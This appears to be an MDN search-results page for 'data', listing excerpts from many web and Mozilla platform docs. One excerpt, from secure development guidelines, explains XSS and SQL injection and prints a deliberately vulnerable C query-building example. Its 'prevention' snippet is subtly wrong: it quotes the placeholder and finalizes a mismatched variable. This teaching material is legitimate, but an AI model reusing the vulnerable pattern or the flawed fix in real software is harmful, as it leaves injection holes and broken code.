... sineterms and cosineterms will be used to store the data for generating the waveform; each will contain an array that's generated when the user chooses "custom".
...And 10 more matches
<input type="number"> - HTML: Hypertext Markup Language
WebHTMLElementinputnumber
you can set a default value for the input by including a number inside the value attribute, like so: <input id="number" type="number" value="42"> additional attributes in addition to the attributes commonly supported by all <input> types, inputs of type number support these attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options max the maximum value to accept for this input min the minimum value to accept for this input placeholder an example value to display inside the field when it's empty readonly a boolean attribute indicating whether the value is read-only step a stepping interval to ...
...use when using up and down arrows to adjust the value, as well as for validation list the values of the list attribute is the id of a <datalist> element located in the same document.
... the <datalist> provides a list of predefined values to suggest to the user for this input.
...And 10 more matches
Image file type and format guide - Web media technologies
bmp theoretically supports a variety of internal data representations.
... while other data representations are defined in the specification, they are not widely used and often completely unimplemented.
... theoretically, several compression algorithms are supported, and the image data can also be stored in jpeg or png format within the bmp file.
...And 10 more matches
simple-storage - Archive of obsolete content
lets an add-on store data so that it's retained across firefox restarts.
...:("; simple storage and "jpm run" the simple storage module stores its data in your profile.
... because jpm run by default uses a fresh profile each time it runs, simple storage won't work with add-ons executed using jpm run - that is, stored data will not persist from one run to the next.
...And 9 more matches
Local Storage - Archive of obsolete content
we recommend that you at least keep an error log, so that you can request error data from your users when you encounter problems that are hard to debug.
...some extension developers prefer to leave the data there, so that if the user chooses to install the extension again, all the previous data will be recovered.
... you should carefully design your database structure, taking into account features you're planning on adding in the future.
...And 9 more matches
Supporting private browsing mode - Archive of obsolete content
when private browsing mode is enabled, temporary, databases are created to be used for cookies and local storage; these databases are thrown away when private browsing mode is turned off, and the regular databases are re-activated.
... the temporary cookie and local storage databases start out empty.
... this allows us to, for example, work with the places database without affecting its contents.
...And 9 more matches
Additional Navigation - Archive of obsolete content
for instance, if items were identified with a type, the data could be filtered to include only items of a particular type.
...to look closer, here is the data network after only the member has been evaluated: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) when ev...
...since there are no variables to fill into the triple, the builder will just confirm that such a triple exists in the datasource.
...And 9 more matches
NPAPI plugin reference - Archive of obsolete content
npn newstream requests the creation of a new data stream produced by the plug-in and consumed by the browser.
... npn_posturl posts data to a url.
... npn_posturlnotify posts data to a url, and receives notification of the result.
...And 9 more matches
Plug-in Development Overview - Gecko Plugin API Reference
when it needs to display data of a particular mime type, the browser finds and invokes the plug-in object that supports that type.
... the data can come from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type), from a separate non-html file of that mime type, or from the server.
... sending and receiving streams streams are objects that represent urls and the data they contain.
...And 9 more matches
Third-party APIs - Learn web development
provide apis allowing developers to make use of their data (e.g.
... note: some apis handle access to their functionality slightly differently, requiring the developer to make an http request to a specific url pattern to retrieve data.
...this type of api is known as a restful api — instead of getting data using the features of a javascript library like we did with mapquest, we get data by making http requests to specific urls, with data like search terms and other properties encoded in the url (often as url parameters).
...And 9 more matches
Ember resources and troubleshooting - Learn web development
for framework-specific things, there is the ember-inspector add-on, which allows inspection of: routes & controllers components services promises data (i.e: from a remote api — from ember-data, by default) deprecation information render performance for general javascript debugging, check out our guides on javascript debugging as well as interacting with the browser's other debugging tools.
... ember-data comes pre-installed; do i need it?
...while ember-data solves the most common problems that any app dealing with data will run in to, it is possible to roll your own front-end data client.
...And 9 more matches
Framework main features - Learn web development
unlike html, these languages know how to read data variables, and this data can be used to streamline the process of writing your ui.
...handlebars code resembles html, but it has the option of pulling data in from elsewhere.
... this data can be used influence the html that an application ultimately builds.
...And 9 more matches
NetUtil.jsm
methods asynccopy() the asynccopy() method performs a simple asynchronous copy of data from a source input stream to a destination output stream.
... nsiasyncstreamcopier asynccopy( asource, asink, acallback ); parameters asource the input stream from which to read the source data.
... asink the output stream to which to copy the data.
...And 9 more matches
NSS_3.12_release_notes.html
nss 3.12 release notes 17 june 2008 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library camellia cipher support tls session ticket extension (rfc 5077) nss 3.12 is tri-licensed under the mpl 1.1/gpl 2.0/lgpl 2.1.
... note: firefox 3 uses nss 3.12, but not the new sqlite-based shareable certificate and key databases.
...ee pk11pub.h) pk11_mergetokens (see pk11pub.h) pk11_writerawattribute (see pk11pub.h) seckey_ecparamstobasepointorderlen (see keyhi.h) seckey_ecparamstokeysize (see keyhi.h) secmod_deletemoduleex (see secmod.h) sec_getregisteredhttpclient (see ocsp.h) sec_pkcs5isalgorithmpbealgtag (see secpkcs5.h) vfy_createcontextdirect (see cryptohi.h) vfy_createcontextwithalgorithmid (see cryptohi.h) vfy_verifydatadirect (see cryptohi.h) vfy_verifydatawithalgorithmid (see cryptohi.h) vfy_verifydigestdirect (see cryptohi.h) vfy_verifydigestwithalgorithmid (see cryptohi.h) new macros for camellia support (see blapit.h): nss_camellia nss_camellia_cbc camellia_block_size new macros for rsa (see blapit.h): rsa_max_modulus_bits rsa_max_exponent_bits new macros in certt.h: x.509 v3 ku_encipher_only cert_m...
...And 9 more matches
nss tech note4
examples: x500 rsa encryption, certificate basic constraints, pkcs#7 digested data, etc.
... the oid data structure contains an array of identifier bytes (each byte is a "level" in a hierarchical namespace), a text description, and some other things.
...xtensions =cert->extensions; if (extensions) { while (*extensions) { secitem *ext_oid = &(*extensions)->id; secitem *ext_critical = &(*extensions)->critical; secitem *ext_value = &(*extensions)->value; /* id attribute of the extension */ secoiddata *oiddata = secoid_findoid(ext_oid); if (oiddata == null) { /* oid not found */ /* secitem ext_oid has type (secitemtype), data (unsigned char *) and len (unsigned int) fields - the application interprets these */ .......
...And 9 more matches
PKCS11 FAQ
MozillaProjectsNSSPKCS11FAQ
does the certificate need to be imported into nss's internal certificate database?
... if so, is there a way to get the certificate from an external token into nss's internal certificate database?
...other certificates on the token are also loaded (to allow building certificate chains), but it's not necessary to include the full chain, as long as the full chain is available in the regular certificate database.
...And 9 more matches
Secure Development Guidelines
ays perform input validation could save you without knowing it examples: if it doesn’t have to be negative, store it in an unsigned int if the input doesn’t have to be > 512, cut it off there if the input should only be [a-za-z0-9], enforce it cross site scripting (xss) xss is a type of code injection attack typically occurs in web applications injection of arbitrary data into an html document from another site victim’s browser executes those html instructions could be used to steal user credentials think: webmail, online auction, cms, online banking...
...put that will be sent back to the user html encoding &amp; → & &lt; → < &gt; → > &quot; → " &apos; → ' url encoding % encoding java/vbscript escaping depends on the context; in a single-quoted string, escaping ' would suffice sql injection occurs when un-trusted input is mixed with a sql string sql is a language used to interact with databases code injection attack that is similar to xss but targeted at sql rather than html and javascript if input is mixed with sql, it could itself become an sql instruction and be used to: query data from the database (passwords) insert value into the database (a user account) change application logic based on results returned by the database sql injection: example snprintf(s...
...tr, sizeof(str), "select * from account where name ='%s'", name); sqlite3_exec(db, str, null, null, null); sql injection: prevention use parameterized queries insert a marker for every piece of dynamic content so data does not get mixed with sql instructions example: sqlite3_stmt *stmt; char *str = "select * from account where name='?'"; sqlite3_prepare_v2(db, str, strlen(str), &stmt, null); sqlite3_bind_text(stmt, 1, name, strlen(name), sqlite_transient); sqlite3_step(stmt); sqlite3_finalize(p_stmt); writing secure code: arithmetic issues integer overflows/underflows overflows occur when an arithmetic operation attempts to create a numeric value that is larger than can be represented within the available storage space max + 1 will be 0 and 0 – 1 will be m...
...And 9 more matches
mozIStorageError
constants constant value description error 1 general sql error, or missing database ioerr 10 a disk i/o error occurred.
... corrupt 11 the database on disk is malformed.
... full 13 an insertion failed because the database is full.
...And 9 more matches
nsICryptoHMAC
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm, in nsikeyobject akeyobject); void reset(); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hashing algorithms.
...value description md2 1 message digest algorithm 2 md5 2 message-digest algorithm 5 sha1 3 secure hash algorithm 1 sha256 4 secure hash algorithm 256 sha384 5 secure hash algorithm 384 sha512 6 secure hash algorithm 512 methods finish() completes this hmac object and produces the actual hmac diegest data.
...if false, then the returned value is binary data.
...And 9 more matches
Component; nsIPrefBranch
component: nsiprefbranch modules/libpref/public/nsiprefbranch.idlscriptable this interface is used to manipulate the preferences data.
... constants constant value description pref_invalid 0 long pref_string 32 long data type.
... pref_int 64 long data type.
...And 9 more matches
nsIScriptableInputStream
moreover, since a stream may make available more than 2^32 bytes of data, this method is incapable of expressing the entire size of the underlying data source.
... read() read data from the stream.
... warning: if the data contains a null byte, then this method will return a truncated string.
...And 9 more matches
nsIWindowsRegKey
e); unsigned long long readint64value(in astring name); unsigned long readintvalue(in astring name); astring readstringvalue(in astring name); void removechild(in astring relpath); void removevalue(in astring name); void startwatching(in boolean recurse); void stopwatching(); void writebinaryvalue(in astring name, in acstring data); void writeint64value(in astring name, in unsigned long long data); void writeintvalue(in astring name, in unsigned long data); void writestringvalue(in astring name, in astring data); attributes attribute type description childcount unsigned long this attribute returns the number of child keys.
...(the binary data will be treated as an iso-latin-1 character string, which it is not).
...(the binary data will be treated as an iso-latin-1 character string, which it is not).
...And 9 more matches
Add to iPhoto
this extension uses a number of methods and data types, as well as constants, from three system frameworks.
... some global types there are a few global data types used by all of our frameworks.
... optionbits a 32-bit bit field data type.
...And 9 more matches
ArrayType
arraytype represents c arrays syntax returns a new ctype representing an array data type.
... properties property type description elementtype ctype the data type of the elements in an array type.
... ptr ctype returns a ctype representing the data type "pointer to this type".
...And 9 more matches
PointerType
syntax returns a new ctype object describing a new pointer data type.
... return value a ctype object describing the newly created data type.
... ptr ctype returns a ctype representing the data type "pointer to this type".
...And 9 more matches
Plug-in Development Overview - Plugins
when it needs to display data of a particular mime type, the browser finds and invokes the plug-in object that supports that type.
... the data can come from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type), from a separate non-html file of that mime type, or from the server.
... sending and receiving streams streams are objects that represent urls and the data they contain.
...And 9 more matches
FileHandle API - Web APIs
api overview this api is based on the following interfaces: idbdatabase.mozcreatefilehandle (was called idbdatabase.mozcreatefilehandle.) idbmutablefile (was previously filehandle.) lockedfile filerequest it also has connections with the file api, especially the file and blob interfaces.
... basic operations create a filehandle because the intent is to allow the storage of files through indexeddb, creating a filehandle instance requires an indexeddb database.
... var idbreq = indexeddb.open("myfilestoragedatabase"); idbreq.onsuccess = function(){ var db = this.result; var buildhandle = db.mozcreatefilehandle("test.txt", "plain/text"); buildhandle.onsuccess = function(){ var myfilehandle = this.result; console.log('handle', myfilehandle); }; }; mozcreatefilehandle() takes two arguments: a name and an optional type.
...And 9 more matches
RTCStatsReport - Web APIs
this statistics report contains a mapping of statistic category string names to objects containing the corresponding statistics data.
... properties common to all statistic categories all webrtc statistics objects are fundamentally based on the rtcstats dictionary, which provides the most fundamental information: the timestamp, the statistic type string, and an id uniquely identifying the source of the data: id a domstring which uniquely identifies the object which was inspected to produce this object based on rtcstats.
... the statistic categories the type gives the name of the statistic category represented by the object, and is how you locate the specific type of data you need.
...And 9 more matches
Streams API concepts - Web APIs
the streams api adds a very useful set of tools to the web platform, providing objects allowing javascript to programmatically access streams of data received over the network and process them as desired by the developer.
... readable streams a readable stream is a data source represented in javascript by a readablestream object that flows from an underlying source — this is a resource somewhere on the network or elsewhere on your domain that you want to get data from.
... there are two types of underlying source: push sources constantly push data at you when you’ve accessed them, and it is up to you to start, pause, or cancel access to the stream.
...And 9 more matches
Web APIs
WebAPI
audiotracklist audioworklet audioworkletglobalscope audioworkletnode audioworkletnodeoptions audioworkletprocessor authenticatorassertionresponse authenticatorattestationresponse authenticatorresponse b baseaudiocontext basiccardrequest basiccardresponse batterymanager beforeinstallpromptevent beforeunloadevent biquadfilternode blob blobbuilder blobevent bluetooth bluetoothadvertisingdata bluetoothcharacteristicproperties bluetoothdevice bluetoothremotegattcharacteristic bluetoothremotegattdescriptor bluetoothremotegattserver bluetoothremotegattservice body broadcastchannel budgetservice budgetstate buffersource bytelengthqueuingstrategy bytestring c cdatasection css cssconditionrule csscounterstylerule cssgroupingrule cssimagevalue csskeyframerule csske...
...e csspseudoelement cssrule cssrulelist cssstyledeclaration cssstylerule cssstylesheet cssstylevalue csssupportsrule cssunitvalue cssunparsedvalue cssvalue cssvaluelist cssvariablereferencevalue cache cachestorage canvascapturemediastreamtrack canvasgradient canvasimagesource canvaspattern canvasrenderingcontext2d caretposition channelmergernode channelsplitternode characterdata childnode client clients clipboard clipboardevent clipboarditem closeevent comment compositionevent constantsourcenode constrainboolean constraindomstring constraindouble constrainulong contentindex contentindexevent convolvernode countqueuingstrategy crashreportbody credential credentialscontainer crypto cryptokey cryptokeypair customelementregistry customevent d domconfigurat...
...ion domerror domexception domhighrestimestamp domimplementation domimplementationlist domlocator dommatrix dommatrixreadonly domobject domparser dompoint dompointinit dompointreadonly domquad domrect domrectreadonly domstring domstringlist domstringmap domtimestamp domtokenlist domuserdata datatransfer datatransferitem datatransferitemlist dedicatedworkerglobalscope delaynode deprecationreportbody devicelightevent devicemotionevent devicemotioneventacceleration devicemotioneventrotationrate deviceorientationevent deviceproximityevent directoryentrysync directoryreadersync displaymediastreamconstraints document documentfragment documentorshadowroot documenttimeline documenttouch documenttype doublerange dragevent dynamicscompressornode e ext_blend_minmax ext_color...
...And 9 more matches
Cognitive accessibility - Accessibility
ensure that people can continue an activity without loss of data after re-authenticating an expired session, for example, saving the state of a questionnaire.
... make sure to save data in such a way that it can be modified after a user re-authenticates.
... before re-authenticating, encode the data as hidden or encrypted.
...And 9 more matches
Cross-browser audio basics - Developer guides
metadata: download the audio metadata; this is usually the best option, as it allows you to access and display information such as audio length, and allow the browser to work out which audio file it should use.
... for example, mediaelement.js includes flash fallbacks, which are used something like this: <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for non supporting browsers goes here --> <a href="audiofile.mp3">download audio</a> <object width="320" height="30" type="application/x-shockwave-flash" data="mediaelement-flash-video.swf"> <param name="movie" value="mediaelement-flash-video.swf" /> <param name="flashvars" value="controls=true&isvideo=false&file=audiofile.mp3" /> </object> </audio> note: you should be aware that flash and silverlight code require that the user has the appropriate plugin installed, and that the browser cannot guarantee the security aspects of code running o...
... myaudio.addeventlistener("durationchange", function() { //you can display the duration now }); loadedmetadata metadata can consist of more than just duration — if you want to wait for all the metadata to download before doing something, you can detect the loadedmetadata event.
...And 9 more matches
A typical HTTP session - HTTP
WebHTTPSession
the server processes the request, sending back its answer, providing a status code and appropriate data.
... note: the client-server model does not allow the server to send data to the client without an explicit request for it.
...an absolute url without the protocol or domain name the http protocol version subsequent lines represent an http header, giving the server information about what type of data is appropriate (e.g., what language, what mime types), or other data altering its behavior (e.g., not sending an answer if it is already cached).
...And 9 more matches
Media container formats (file types) - Web media technologies
codec name (short) full codec name browser compatibility1 3gp third generation partnership firefox for android adts audio data transport stream firefox2 flac free lossless audio codec chrome 56, edge 16, firefox 51, safari 11 mpeg / mpeg-2 moving picture experts group (1 and 2) — mpeg-4 (mp4) moving picture experts group 4 chrome 3, edge 12, firefox, internet explorer 9, opera 24, safari 3.1 ogg ogg chrome 3, firefox 3.5, edge 173 (desktop only), internet e...
...however, the improved bandwidth availability and increased data caps on most networks has reduced the need for the 3gp format.
... adts audio data transport stream (adts) is a container format specified by mpeg-4 part 3 for audio data, intended to be used for streamed audio, such as for internet radio.
...And 9 more matches
Digital video concepts - Web media technologies
rgb most computer graphics models use the rgb color system, wherein some number of bits of data are used to represent each of the red, green, and blue components of the color of an individual pixel, and an image is comprised of a two-dimensional array of these pixels.
...doing so allows color data to be represented using fewer total bits of space in a video stream.
...each type of cone, then, captures the relative reponse peaks at various wavelengths, and the brain uses this data to figure out the intensity and hue of the color of the light arriving at that part of the retina.
...And 9 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
it's different with html, as the browser is actually streaming the data already and you can see when the elements are loaded and rendered on the website.
... the streams api allows developers to have direct access to data streaming from the server.
... if you want to perform an operation on the data (for example, adding a filter to a video), you no longer need to wait for all of it to be downloaded and converted to a blob (or whatever).
...And 9 more matches
Miscellaneous - Archive of obsolete content
sg, args){ //get localised message if (args){ args = array.prototype.slice.call(arguments, 1); return fcbundle.formatstringfromname(msg,args,args.length); } else { return fcbundle.getstringfromname(msg); } } /* usage */ alert(getstr("invalid.url", "http://bad/url/", "3")); //for message with parameters alert(getstr("invalid.url")); //for message without parameters getting postdata of a webpage first, you need to get the browser you want, and its historysession.
... can not get the main window object directly, if you can, just use it var wm = cc["@mozilla.org/appshell/window-mediator;1"].getservice(ci.nsiwindowmediator); var mainwindow = wm.getmostrecentwindow("navigator:browser"); //get sessionhistory from the current selected tab var history = mainwindow.gbrowser.selectedbrowser.webnavigation.sessionhistory; and then get the page you want, and it's postdata.
... this example obtains the post data of the last page.
...And 8 more matches
Block and Line Layout Cheat Sheet - Archive of obsolete content
like nshtmlreflowstate, this is read-only data that is passed down from a parent frame to its children.
... ll_understandsnwhitespace ll_textstartswithnbsp ll_firstletterstyleok ll_istopofpage ll_updatedband ll_impactedbyfloaters ll_lastfloaterwasletterframe ll_canplacefloater ll_knowstrictmode ll_instrictmode ll_lineendsinbr perframedata (why isn't this just stored in the frame?) mflags pfd_relativepos pfd_istextframe pfd_isnonemptytextframe pfd_isnonwhitespacetextframe pfd_isletterframe pfd_issticky pfd_isbullet perspandata in nslinelayout, a "span" is a container inline frame, and a "frame" is one of its children.
... perhaps perparentdata and perchilddata would be better names?
...And 8 more matches
Sorting Results - Archive of obsolete content
for an xml datasource, generated content will be output in the order corresponding to the results of the xpath query expression.
... for an sqlite datasource, the generated content corresponds to the order of results of the sql query.
... for an rdf datasource, again, the results are in the order the query generates them, although except in the case of an rdf seq, this order is arbitrary as rdf triples don't occur in any particular order.
...And 8 more matches
XPCOM Examples - Archive of obsolete content
window management this example contains rdf datasource that will be seen in the later section.
... creating a window menu the list of currently open mozilla windows can be used as an rdf datasource.
...the datasource for this is rdf:window-mediator.
...And 8 more matches
XUL Questions and Answers - Archive of obsolete content
there are several options for displaying graphics and animation in xul: <html:canvas> svg <xul:image> (static images or animated gif; support for apng is planned) plugins templates with non-rdf datasources?
... support for non-rdf datasources for xul template is planned (bug 321170): xml datasources (bug 321171) storage (sqlite) datasources (bug 321172) when loading an xslt stylesheet into an xml i get the error: "error loading stylesheet: an xslt stylesheet load was blocked for security reasons." that error is from a security check that has been put up to safeguard against cross-site-scripting attacks.
... how to use dynamic objects in toolbar there may be a few ways to implement this: by building your menupopup from an rdf datasource, which could be generated on the server.
...And 8 more matches
Digital Signatures - Archive of obsolete content
a one-way hash is a number of fixed length with the following characteristics: the value of the hash is unique for the hashed data.
... any change in the data, even deleting or altering a single character, results in a different value.
... the content of the hashed data cannot, for all practical purposes, be deduced from the hash-which is why it is called "one-way." similarly, in public key encryption, a key pair is generated for digital signing.
...And 8 more matches
Encryption and Decryption - Archive of obsolete content
public-key encryption the most commonly used implementations of public-key encryption are based on algorithms patented by rsa data security.
... public-key encryption (also called asymmetric encryption) involves a pair of keys-a public key and a private key-associated with an entity that needs to authenticate its identity electronically or to sign or encrypt data.
...data encrypted with your public key can be decrypted only with your private key.
...And 8 more matches
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
mvc (model-view-controller) is a pattern in software design commonly used to implement user interfaces, data, and controlling logic.
... the three parts of the mvc software-design pattern can be described as follows: model: manages data and business logic.
... the model the model defines what data the app should contain.
...And 8 more matches
Routing in Ember - Learn web development
it also tells ember how to interact with your route, such as when loading arbitrary data, handling errors while loading that data, or interpreting dynamic segments of the url.
... since our data is static, we won't get to any of those fancy features, but we'll still make sure that the route provides the minimally required data to view a page.
... first of all, return once more to our todo-data.js file.
...And 8 more matches
NSS 3.35 release notes
if nss is initialized, in read-write mode with a database directory provided, it uses database files to store certificates, key, trust, and other information.
... nss supports two different database file formats: dbm: the legacy file format, based on berkeley db, using filenames cert8.db, key3.db and secmod.db.
... parallel database access, by multiple applications, is forbidden as it will likely result in data corruption.
...And 8 more matches
NSS Sample Code Utilities_1
*/ /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printasascii */ void printasascii(prfiledesc* out, const unsigned char *data, unsigned int len) { char *b64data = null; b64data = btoa_datatoascii(data, len); pr_fprintf(out, "%s", b64data); pr_fprintf(out, "\n"); if (b64data) { port_free(b64data); } } /* * printashex */ void printashex(prfiledesc* out, const unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1...
...; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * getdigit */ int getdigit(char c) { if (c == 0) { return -1; } if (c <= '9' && c >= '0') { return c - '0'; } if (c <= 'f' && c >= 'a') { return c - 'a' + 0xa; } if (c <= 'f' && c >= 'a') { ...
... return c - 'a' + 0xa; } return -1; } /* * hextobuf */ int hextobuf(unsigned char *instring, secitem *outbuf, prbool ishexdata) { int len = strlen(instring); int outlen = len+1/2; int truelen = 0; int digit1, digit2; outbuf->data = ishexdata ?
...And 8 more matches
Using the Places annotation service
the annotation service, provided by the nsiannotationservice interface, is designed to store arbitrary data about a web page or about an item in the places database in firefox 3.
... for an overview of the places database design, see the places database.
... most methods in the service are duplicated with one method labeled as a 'page annotation' taking an nsiuri and the others labeled as an 'item annotation' and taking the id of an item in the places database.
...And 8 more matches
nsISessionStore
browser/components/sessionstore/nsisessionstore.idlscriptable provides a means for extensions and other code to store data in association with browser sessions, tabs, and windows.
...window awindow, in astring akey); nsidomnode duplicatetab(in nsidomwindow awindow, in nsidomnode atab); nsidomnode forgetclosedtab(in nsidomwindow awindow, in unsigned long aindex); nsidomnode forgetclosedwindow(in unsigned long aindex); astring getbrowserstate(); unsigned long getclosedtabcount(in nsidomwindow awindow); astring getclosedtabdata(in nsidomwindow awindow); unsigned long getclosedwindowcount(); astring getclosedwindowdata(); astring gettabstate(in nsidomnode atab); astring gettabvalue(in nsidomnode atab, in astring akey); astring getwindowstate(in nsidomwindow awindow); astring getwindowvalue(in nsidomwindow awindow, in astring akey); void init(in nsidomwindo...
... getclosedtabdata() returns a list of closed tabs for a specified window.
...And 8 more matches
Index
19 creating a gloda message query thunderbird 3, thunderbird this page describes how to programmatically create a message query using gloda, thunderbird's global database.
..."gloda" is short for the thunderbird "global database".
... 34 mail and rdf mozilla mail exposes many of it's data structures to rdf through a few datasources.
...And 8 more matches
Working with ArrayBuffers
this feature is based on the following work: //github.com/realityripple/uxp/blob/master/js/src/ctypes/ctypes.cpp#3080 //github.com/realityripple/uxp/blob/master/js/src/vm/arraybufferobject.cpp#1301 example 1 - image data the following example illustrates how to transfer a byte array pointed by ctypes.uint8_t.ptr to imagedata of canvas.
... this example is based on the fact that the imagedata returned from canvasrenderingcontext2d.getimagedata is a uint8clampedarray view for an arraybuffer.
... the following codeblock provides a basic example of getting and setting uint8clampedarray and arraybuffer of imagedata: // context is a canvasrenderingcontext2d of some canvas var imagedata = context.getimagedata(x, y, w, h); var array = imagedata.data; // array is a uint8clampedarray var buffer = imagedata.data.buffer; // buffer is a arraybuffer // incomingbuffer is a typedarray var imagedata2 = context.createimagedata(w, h); imagedata2.data.set(incomingbuffer); further, if you have a byte array pixelbuffer, and you need to create imagedata from it.
...And 8 more matches
AnalyserNode - Web APIs
it is an audionode that passes the audio stream unchanged from the input to the output, but allows you to take the generated data, process it, and create audio visualizations.
...this generally equates to the number of data values you will have to play with for the visualization.
... analysernode.mindecibels is a double value representing the minimum power value in the scaling range for the fft analysis data, for conversion to unsigned byte values — basically, this specifies the minimum value for the range of results when using getbytefrequencydata().
...And 8 more matches
Background Tasks API - Web APIs
in addition, there's a "start" button (creatively given the id "startbutton"), which the user will use to start the data processing.
...that function, enqueuetask(), looks like this: function enqueuetask(taskhandler, taskdata) { tasklist.push({ handler: taskhandler, data: taskdata }); totaltaskcount++; if (!taskhandle) { taskhandle = requestidlecallback(runtaskqueue, { timeout: 1000 }); } schedulestatusrefresh(); } enqueuetask() accepts as input two parameters: taskhandler is a function which will be called to handle the task.
... taskdata is an object which is passed into the task handler as an input parameter, to allow the task to receive custom data.
...And 8 more matches
IDBCursor.update() - Web APIs
WebAPIIDBCursorupdate
dataerror the underlying object store uses in-line keys and the property in the value at the object store's key path does not match the key in this cursor's position.
... datacloneerror the data being stored could not be cloned by the internal structured cloning algorithm.
... note that you cannot change primary keys using cursor.update(), hence us not changing the album title; this would ruin the integrity of the data.
...And 8 more matches
IDBObjectStore - Web APIs
the idbobjectstore interface of the indexeddb api represents an object store in a database.
... idbobjectstore.createindex() creates a new index during a version upgrade, returning a new idbindex object in the connected database.
... idbobjectstore.deleteindex() destroys the specified index in the connected database, used during a version upgrade.
...And 8 more matches
IDBTransaction.mode - Web APIs
the mode read-only property of the idbtransaction interface returns the current mode for accessing the data in the object stores in the scope of the transaction (i.e.
... syntax var mycurrentmode = idbtransaction.mode; value an idbtransactionmode object defining the mode for isolating access to data in the current object stores: value explanation readonly allows data to be read but not changed.
... readwrite allows reading and writing of data in existing data stores to be changed.
...And 8 more matches
IDBTransaction.oncomplete - Web APIs
previously in a readwrite transaction idbtransaction.oncomplete was fired only when all data was guaranteed to have been flushed to disk.
... in firefox 40+ the complete event is fired after the os has been told to write the data but potentially before that data has actually been flushed to disk.
... the complete event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the os crashes or there is a loss of system power before the data is flushed to disk.
...And 8 more matches
Streams API - Web APIs
the streams api allows javascript to programmatically access streams of data received over the network and process them as desired by the developer.
... with streams being available to javascript, this all changes — you can now start processing raw data with javascript bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob.
... more complicated uses involve creating your own stream using the readablestream() constructor, for example to process data inside a service worker.
...And 8 more matches
Starting up and shutting down a WebXR session - Web APIs
set up your webgl data and models and prepare to render the scene.
... in basic form, code to do this final setup might look something like this: async function runsession(session) { let worlddata; session.addeventlistener("end", onsessionend); let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); // set up webgl data and such worlddata = loadglprograms(session, "worlddata.xml"); if (!worlddata) { return null; } // finish configuring webgl worlddata.session.updaterenderstate({ baselayer: new xrwebgllayer(worl...
...ddata.session, gl) }); // start rendering the scene referencespace = await worlddata.session.requestreferencespace("unbounded"); worlddata.referencespace = referencespace.getoffsetreferencespace( new xrrigidtransform(worlddata.playerspawnposition, worlddata.playerspawnorientation)); worlddata.animationframerequestid = worlddata.session.requestanimationframe(ondrawframe); return worlddata; } for the purposes of this example, an object named worlddata gets created to encapsulate data about the world and rendering environment.
...And 8 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
name of voice technique associated web audio api feature "sweep" oscillator, periodic wave oscillatornode, periodicwave "pulse" multiple oscillators oscillatornode "noise" random noise buffer, biquad filter audiobuffer, audiobuffersourcenode, biquadfilternode "dial up" loading a sound sample to play audiocontext.decodeaudiodata(), audiobuffersourcenode note: this instrument was not created to sound good, it was created to provide demonstration code and represents a very simplified version of such an instrument.
...noise is just random numbers when it comes to audio data, so is, therefore, a relatively straightforward thing to create with code.
...you can fetch a file and decode it into a buffer (we'll get to that later on in the tutorial), or you can create an empty buffer and fill it with your own data.
...And 8 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
if the audio's metadata isn't available yet—thereby preventing you from knowing the media's start time or duration—currenttime instead indicates, and can be used to change, the time at which playback will begin.
... if the audio is being streamed, it's possible that the user agent may not be able to obtain some parts of the resource if that data has expired from the media buffer.
... metadata: indicates that only audio metadata (e.g.
...And 8 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
WebHTMLElementinputhidden
<input> elements of type hidden let web developers include data that cannot be seen or modified by users when a form is submitted.
... <input id="prodid" name="prodid" type="hidden" value="xm234jq"> value a domstring representing the value of the hidden data you want to pass back to the server.
... value the <input> element's value attribute holds a domstring that contains the hidden data you want to include when the form is submitted to the server.
...And 8 more matches
<input type="search"> - HTML: Hypertext Markup Language
WebHTMLElementinputsearch
additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, search field inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid pattern a regular expression the input's contents must match in order to be valid placeholder an exemplar value to d...
... a boolean attribute indicating whether or not the contents of the input should be read-only size a number indicating how many characters wide the input field should be spellcheck controls whether or not to enable spell checking for the input field, or if the default spell checking configuration should be used list the values of the list attribute is the id of a <datalist> element located in the same document.
... the <datalist> provides a list of predefined values to suggest to the user for this input.
...And 8 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
autoplay a boolean attribute; if specified, the video automatically begins to play back as soon as it can do so without stopping to finish loading the data.
... if the media is being streamed, it's possible that the user agent may not be able to obtain some parts of the resource if that data has expired from the media buffer.
... metadata: indicates that only video metadata (e.g.
...And 8 more matches
Populating the page: how browsers work - Web Performance
